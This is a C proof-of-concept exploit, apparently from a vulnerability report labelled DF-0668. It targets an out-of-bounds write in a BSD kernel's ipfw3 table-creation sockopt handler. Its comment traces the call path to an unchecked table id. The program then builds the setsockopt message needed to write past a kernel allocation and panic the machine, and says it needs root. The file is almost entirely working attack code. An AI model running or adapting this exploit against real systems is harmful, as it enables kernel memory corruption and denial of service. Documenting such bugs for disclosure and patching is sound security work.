DF-0668 / ipfw3_table_oob.c
/* * DF-0668 PoC: ipfw3 table op OOB via unchecked ioc_table->id. * * Reachability: requires a raw IP socket (setsockopt IPPROTO_IP/IP_FW_X), * which needs caps_priv_check(SYSCAP_NONET_RAW) => ROOT-ONLY. An unprivileged * user gets EPERM on socket(AF_INET,SOCK_RAW,...) and cannot reach the sink. * (sys/netinet/raw_ip.c:473 caps_priv_check(... SYSCAP_NONET_RAW)) * * Path: setsockopt(IPPROTO_IP, IP_FW_X=49, [x_header{opcode=IP_FW_TABLE_CREATE=73}] * [struct ipfw_ioc_table{id, type,...}]) * -> rip_ctloutput -> ip_fw3_sockopt -> ip_fw3_ctl (case IP_FW_X) * -> ip_fw3_ctl_x (strips x_header, sopt_name=73) * -> ip_fw3_ctl (case IP_FW_TABLE_CREATE) -> ip_fw3_ctl_table_ptr * -> ip_fw3_ctl_table_create -> table_create_dispatch (per CPU) * -> table_ctx = ctx->table_ctx; table_ctx += id; <-- id unchecked * table_ctx->type = ioc_table->type; ... strlcpy(name...); rn_inithead(...) * ctx->table_ctx is kmalloc(32*sizeof(ipfw3_table_context)=1792, M_IPFW3_TABLE). * id is an `int` from user with NO bounds check (IPFW_TABLES_MAX=32 ignored), * so table_ctx += id walks OOB and writes type/count/name + 2 kernel ptrs * (rn_inithead) at offset id*56 past the allocation. * * Usage: ./ipfw3_table_oob [id] (default id=0x4000 = 16384 -> ~900KB OOB -> panic) */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <errno.h> #define IP_FW_X 49 #define IP_FW_TABLE_CREATE 73 struct ip_fw_x_header { uint16_t opcode; uint16_t pad; }; /* mirrors sys/net/ipfw3_basic/ip_fw3_table.h: struct ipfw_ioc_table */ struct ipfw_ioc_table { int id; int type; int count; char name[32]; }; int main(int argc, char **argv) { int id = (argc > 1) ? (int)strtol(argv[1], NULL, 0) : 0x4000; int s, rc; struct { struct ip_fw_x_header h; struct ipfw_ioc_table t; } __attribute__((packed)) msg; s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { printf("socket(SOCK_RAW) failed: %s (expected for unpriv)\n", strerror(errno)); return 1; } printf("[*] raw socket ok (running as root); targeting id=%d (0x%x)\n", id, id); memset(&msg, 0, sizeof(msg)); msg.h.opcode = IP_FW_TABLE_CREATE; msg.t.id = id; msg.t.type = 1; /* type 1 => rn_inithead writes 2 kernel ptrs at OOB */ snprintf(msg.t.name, sizeof(msg.t.name), "DF0668_oob"); printf("[*] setsockopt IP_FW_X opcode=TABLE_CREATE id=%d type=1 -> expect OOB panic\n", id); rc = setsockopt(s, IPPROTO_IP, IP_FW_X, &msg, sizeof(msg)); printf("[*] setsockopt returned %d errno=%d (%s)\n", rc, errno, strerror(errno)); /* If we get here, the OOB write landed in mapped slab pages (silent). */ close(s); return 0; } |